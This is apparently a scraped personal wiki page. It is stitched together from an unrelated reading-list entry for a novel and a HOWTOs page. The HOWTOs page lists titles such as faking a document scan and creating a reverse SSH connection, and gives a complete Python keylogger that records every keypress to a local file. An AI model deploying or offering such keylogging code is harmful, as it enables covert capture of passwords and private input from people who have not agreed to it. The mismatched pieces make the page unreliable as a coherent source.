| readinglist | |
|---|---|
| author | Stephen Lloyd-Jones |
| summary |
A fun ride undercut by its infuriating ending. |
| status | read |
| subjects | fiction |
This is an old revision of the document!
HOWTOs
Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details.
Fake a document scan
Add Linux swap space
Create a reverse SSH connection
Log keys in Python
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()